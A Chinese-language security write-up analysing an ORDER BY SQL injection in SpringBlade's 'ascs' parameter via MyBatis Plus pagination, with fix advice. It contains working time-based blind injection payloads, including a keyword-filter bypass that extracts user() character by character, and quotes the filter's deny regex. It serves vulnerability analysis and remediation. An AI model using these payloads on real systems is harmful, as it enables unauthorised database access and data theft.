介绍 某人在SpringBlade中提了一个issue 说明项目存在SQL注入漏洞
这个项目在我之前分析网关的未授权访问时就看了一遍SQL语句,在*mapper.xml
中看了一圈并没有发现注入点,但是看到有人提出了SQL注入于是决定深入探查一下该SQL注入原因。
如果你看到这篇文章,可以自己尝试阅读代码,看能否找到注入点。如果能自己独立找到,那么这篇文章也就不必往下看了。
代码分析 issue 中提到注入点URL为/api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97
找到对应的代码文件路径SpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/controller/LogApiController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @GetMapping ("/list" )public R<IPage<LogApiVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) { IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time" )), Condition.getQueryWrapper(log, LogApi.class )) ; List<LogApiVo> records = pages.getRecords().stream().map(logApi -> { LogApiVo vo = BeanUtil.copy(logApi, LogApiVo.class ) ; vo.setStrId(Func.toStr(logApi.getId())); return vo; }).collect(Collectors.toList()); IPage<LogApiVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal()); pageVo.setRecords(records); return R.data(pageVo); }
注意传入list
方法中的Query
,Query
是组件自带的类,其中有四个值(current
、size
、ascs
、descs
)是可以通过前端用户传入进行赋值的。current
和size
是integer类型,只能传入数字,无法进行SQL注入,ascs
和descs
则是string类型,可以传入任意字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @Data @Accessors (chain = true )@ApiModel (description = "查询条件" )public class Query { @ApiModelProperty (value = "当前页" ) private Integer current; @ApiModelProperty (value = "每页的数量" ) private Integer size; @ApiModelProperty (hidden = true ) private String ascs; @ApiModelProperty (hidden = true ) private String descs; }
例如传入/api/list?current=7&size=77&ascs=seikei&descs=s31k31
时,query
中参数分别被赋值成Query(current=7, size=77, ascs=seikei, descs=create_time)
调试过程中query
中的变量如下
回到list
方法,其中第二行,将query
传入Condition
,其中query.setDescs
被设置为create_time
,所以descs
参数就不可控了
1 IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time" )), Condition.getQueryWrapper(log, LogApi.class )) ;
调试追到Condition
中可以看到query
的值,descs
被置为create_time
,ascs
还是我们传入的值
Condition.IPage()
方法中第二、三行有个SqlKeyword.filter()
,其中过滤了一些常见的SQL注入关键字,但是非常容易绕过
1 2 3 public static String filter (String param) { return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql" , "" ); }
Condition
被赋值之后到logService.page()
,追到LogAPIService
,SpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/service/impl/LogApiServiceImpl.java
但是service中没有任何内容
1 2 3 4 @Service public class LogApiServiceImpl extends ServiceImpl <LogApiMapper , LogApi > implements ILogApiService {}
再看看LogApiMapper
(SpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/mapper/LogApiMapper.java
),同样其中也没什么内容
1 2 3 public interface LogApiMapper extends BaseMapper <LogApi > {}
/SpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/mapper/LogApiMapper.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" > <mapper namespace ="org.springblade.core.log.mapper.LogApiMapper" > <resultMap id ="logResultMap" type ="org.springblade.core.log.model.LogApi" > <result column ="id" property ="id" /> <result column ="create_time" property ="createTime" /> <result column ="service_id" property ="serviceId" /> ...... </resultMap > <sql id ="baseColumnList" > select id, create_time AS createTime, service_id, server_host, server_ip, env, type, title, method, request_uri, user_agent, remote_ip, method_class, method_name, params, time, create_by </sql > </mapper >
注意其中<sql>
标签,其中的语句是没有from
和其他内容,仅仅只有select
中的内容,没有from
,甚至没有参数插入的地方,和常见mybatis配置文件中的SQL语句不一样。
现在发现SQL语句中并没有插入ascs
参数的地方,带着疑问,实际测试来看看是否这里真的存在SQL注入?
测试 首先开启mysql的日志记录,方便我们进行测试。
1 2 3 SHOW VARIABLES LIKE 'general%' ; set GLOBAL general_log='ON' ;
开启日志后使用tail -f /var/lib/mysql/mysql.log
查看mysql日志。
查看blade_log_api
表中是否存在数据,没有的话使用自己随便添加几条数据,方便我们后续测试。
blade_log_api
表中有数据存在这点是必须的,因为程序使用mybatis plus在真正的SQL执行前会执行SELECT COUNT(1) FROM blade_log_api
查看表中是否存在数据,若不存在数据则不会执行真正要执行的SQL。
我们传入http://localhost:8103/api/list?current=7&size=77&ascs=seikei&descs=s31k31
,会在mysql日志中看到如下两条语句被执行
1 2 3 4 5 SELECT COUNT (1 ) FROM blade_log_apiSELECT id , type , title, service_id, server_ip, server_host, env, remote_ip, user_agent, request_uri, method, method_class, method_name, params, time , create_by, create_time FROM blade_log_api ORDER BY seikei ASC , create_time DESC LIMIT 462 ,77
可以看到ascs
参数是在SQL语句中回显的
访问http://localhost:8103/api/list?ascs=time+and+sleep(5)
试试注入效果,发现返回延迟了五秒
数据库日志为:
1 2 3 SELECT id , type , title, service_id, server_ip, server_host, env, remote_ip, user_agent, request_uri, method, method_class, method_name, params, time , create_by, create_time FROM blade_log_api ORDER BY time and sleep (5 ) ASC , create_time DESC LIMIT 0 ,10
经过测试,除了SqlKeyword.filter()
中过滤的字符,还有不能使用逗号,因为mybatis plus会在每个逗号前添加ASC
,导致SQL执行错误。
1 2 3 4 5 // 传入内容 time RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))=51) THEN 0x74696d65 ELSE 0x28 END)) // SQL执行内容 time RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR) ASC, 0x20) FROM INFORMATION_SCHEMA.SCHEMATA) ASC, 1 ASC, 1))=51) THEN 0x74696d65 ELSE 0x28 END)) ASC, create_time DESC LIMIT ?,?
所以需要使用无逗号的函数进行注入
判断语句使用:select case when (条件) then 代码1 else 代码2 end
截取字符串使用:select substring(user() from 1 for 4)
只截取一个字符可以省略for
,变成substring(user()) from 1
绕过SqlKeyword.filter()
中过滤的字符和逗号,可以使用以下payload(当然还有很多种构造payload的方式,我这里只给出最普通的payload)
1 ascs=(selselectect+case+when(ascii(substring(user()+from+1))%3d114)+then+sleep(2)+end)
更换获取user()
的位置,并不断修改ascii的值进行遍历,根据延迟就能得到user()
完整的值。
来看看issue提交者给出的payload
1 /api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97
payload非常精简,用time
字段排序成功与否来看ascii(substring(user() from 1))=97
表达式是否正确。若user()
第一个字符的ascii码等于97时,返回结果中的time
字段是由小到大排序的。
但这个payload有几个缺陷
无法广泛适用(需要根据排序值进行判断,编写脚本很难把各种场景做到统一)
容易误报(若正好结果中time
从小到大排序就会产生误报)
和数据库版本有关(我在mysql8.0.19中测试order by表达式是不生效的,其他数据库暂未测试)
若是黑盒测试不知道数据库字段名,无法构造payload
再次分析 既然能成功注入,那为什么在代码中没有看到相应的SQL语句呢?
先说结论:Mybatis Plus中已经有写好的分页查询,传入Page
和QueryWrapper
即可自动构建成SQL语句,而SpringBlade为了灵活加上了多个可变参数,导致用户传入的参数被添加到SQL语句order by
之后,导致SQL注入产生。这就是为什么在“可见”的代码中看不到SQL语句拼接,因为压根没用到本地的Mybatis Mapper配置文件中的sql语句。
在“可见”的代码中没有找到SQL拼接,我的第一反应就是调用了类库导致的,但是为什么会将用户输入的ascs参数拼接到SQL语句这一点没有弄明白,下面是我个人的分析过程。
经过一段时间的调试,大概搞懂了整个过程的逻辑,SQL执行前的调用栈如下
调用栈中看到,在LogApiServiceImpl#page()
方法之后,全部都是在类库中执行的,只看代码是看不出任何SQL拼接迹象的。
⚠️:若想理解整个过程需要去看SpringBlade Core 和Mybatis Plus 的源码
LogApiController
中的logService
是ILogApiService
类,继承自Mybatis Plus中的IService
。
1 2 3 4 5 public interface ILogApiService extends IService <LogApi > {}
ILogApiService
中是没有重写任何方法的,所以LogApiController
中执行的logService.page()
最终会调用IService.page()
。
IService 源码
1 2 3 4 5 6 7 8 9 default <E extends IPage<T>> E page (E page, Wrapper<T> queryWrapper) { return getBaseMapper().selectPage(page, queryWrapper); }
到了IService.page()
之后就是Mybatis Plus内的各种方法调用,以及SQL语句的构造等,不涉及用户传入参数的变更,就不在此赘述,想了解Mybatis Plus的执行过程可以独立分析一下。
找到执行SQL查询的方法后,就是要查明参数是怎么传入的,我们来看page
和queryWrapper
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @GetMapping ("/list" )public R<IPage<LogApiVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) { IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time" )), Condition.getQueryWrapper(log, LogApi.class )) ; List<LogApiVo> records = pages.getRecords().stream().map(logApi -> { LogApiVo vo = BeanUtil.copy(logApi, LogApiVo.class ) ; vo.setStrId(Func.toStr(logApi.getId())); return vo; }).collect(Collectors.toList()); IPage<LogApiVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal()); pageVo.setRecords(records); return R.data(pageVo); }
参数page
来自Condition.getPage()
参数queryWrapper
来自Condition.getQueryWrapper()
我们再来看Condition 的源码,page
是一个Mybatis Plus中的Page 类,赋值了传入Query
中的四个值(current
、size
、ascs
、descs
),Wrapper
是一个条件构造器,QueryWrapper
则继承自Wrapper
,用于构造查询条件。可以把Wrapper
理解为SQL的包装器,page
则是可插入Wrapper
中的数据,如当前页数、排序方式等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public static <T> IPage<T> getPage (Query query) { Page<T> page = new Page<>(Func.toInt(query.getCurrent(), 1 ), Func.toInt(query.getSize(), 10 )); page.setAsc(Func.toStrArray(SqlKeyword.filter(query.getAscs()))); page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs()))); return page; } public static <T> QueryWrapper<T> getQueryWrapper (Map<String, Object> query, Class<T> clazz) { Kv exclude = Kv.init().set(TokenConstant.HEADER, TokenConstant.HEADER) .set("current" , "current" ).set("size" , "size" ).set("ascs" , "ascs" ).set("descs" , "descs" ); return getQueryWrapper(query, exclude, clazz); } public static <T> QueryWrapper<T> getQueryWrapper (Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) { exclude.forEach((k, v) -> query.remove(k)); QueryWrapper<T> qw = new QueryWrapper<>(); qw.setEntity(BeanUtil.newInstance(clazz)); SqlKeyword.buildCondition(query, qw); return qw; }
知道了数据的传入,还有有一点需要弄明白,SQL语句的内容是从哪来的?
很多人可能默认会想是根据LogApiMapper.xml
中获取的,但其实并不是。其中的查询语句只有select部分,缺少from等元素,并且mysql日志的语句和下面语句中查询参数的顺序不一致。实际上SQL语句的构造并没有利用到Mapper配置中的该<sql>
1 2 3 4 5 6 <sql id ="baseColumnList" > select id, create_time AS createTime, service_id, server_host, server_ip, env, type, title, method, request_uri, user_agent, remote_ip, method_class, method_name, params, time, create_by </sql >
我们先来看看IService
的声明,使用了<T>
泛型
1 public interface IService <T >
ILogApiService
继承IService
时制定了<LogApi>
作为数据类型,其实SQL语句的内容就是通过这个LogApi
来构造的。
1 public interface ILogApiService extends IService <LogApi >
来看LogApi 的源码,里面定义了一些数据类型,继承LogAbstract
,在注解@TableName
中声明了数据库。
1 2 3 4 5 6 7 @Data @TableName ("blade_log_api" )public class LogApi extends LogAbstract implements Serializable { private static final long serialVersionUID = 1L ; private String type; private String title; }
LogApi又继承自LogAbstract
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @Data public class LogAbstract implements Serializable { protected static final long serialVersionUID = 1L ; @TableId (value = "id" , type = IdType.ID_WORKER) protected Long id; protected String serviceId; protected String serverIp; protected String serverHost; protected String env; protected String remoteIp; protected String userAgent; protected String requestUri; protected String method; protected String methodClass; protected String methodName; protected String params; protected String time; protected String createBy; @DateTimeFormat (pattern = DateUtil.PATTERN_DATETIME) @JsonFormat (pattern = DateUtil.PATTERN_DATETIME) protected Date createTime; }
看到以上数据就能明白,SQL是如何构造出来的。select
部分是LogApi
中的属性,from
部分是通过注解@TableName
获取的。
1 2 SELECT id , type , title, service_id, server_ip, server_host, env, remote_ip, user_agent, request_uri, method, method_class, method_name, params, time , create_by, create_time FROM blade_log_api
初步构造好SQL语句之后,通过page
和queryWrapper
获取到其他需要的值,构造出order by
后的内容
1 ORDER BY ascs ASC, create_time DESC LIMIT current*size,size
当ascs
或descs
中有逗号时,Mybatis Plus会以逗号为分隔符,分成多段,并在每段后面添加ASC
。
比如传入ascs=if(1=1,sleep(1),2)
时,构造出来的语句为ORDER BY if(1=1 ASC, sleep(1) ASC, 2) ASC
所以在注入时不能使用逗号,否则会导致SQL语句出错。
除此之外,其他使用Query
传入数据,进行page
分页查询的功能,若未对ascs
或descs
覆盖用户传参,就存在同类型的SQL注入。
以下代码中用到了分页查询:
1 2 3 4 5 6 7 8 9 10 11 12 blade-service/blade-log/src/main/java/org/springblade/core/log/controller/LogErrorController.java blade-service/blade-log/src/main/java/org/springblade/core/log/controller/LogUsualController.java blade-service/blade-demo/src/main/java/com/example/demo/controller/NoticeController.java blade-service/blade-desk/src/main/java/org/springblade/desk/controller/NoticeController.java blade-service/blade-system/src/main/java/org/springblade/system/controller/AuthClientController.java blade-service/blade-system/src/main/java/org/springblade/system/controller/ParamController.java blade-service/blade-system/src/main/java/org/springblade/system/controller/PostController.java blade-service/blade-system/src/main/java/org/springblade/system/controller/RegionController.java blade-service/blade-system/src/main/java/org/springblade/system/controller/TenantController.java blade-service/blade-user/src/main/java/org/springblade/system/user/controller/UserController.java blade-ops/blade-develop/src/main/java/org/springblade/develop/controller/CodeController.java blade-ops/blade-develop/src/main/java/org/springblade/develop/controller/DatasourceController.java
修复方法 单点修复:当业务功能不需要ascs
参数时,将ascs
设置为空值,避免被用户传入。
⚠️:order by后面是无法进行预编译的,并且由于使用Mybatis Plus,若想自己独立修改SQL语义成本较大。控制ascs
的值是一个非常简洁的解决办法。
若想要通用防护手段,需要将SqlKeyword.filter()
的过滤方法加以改进。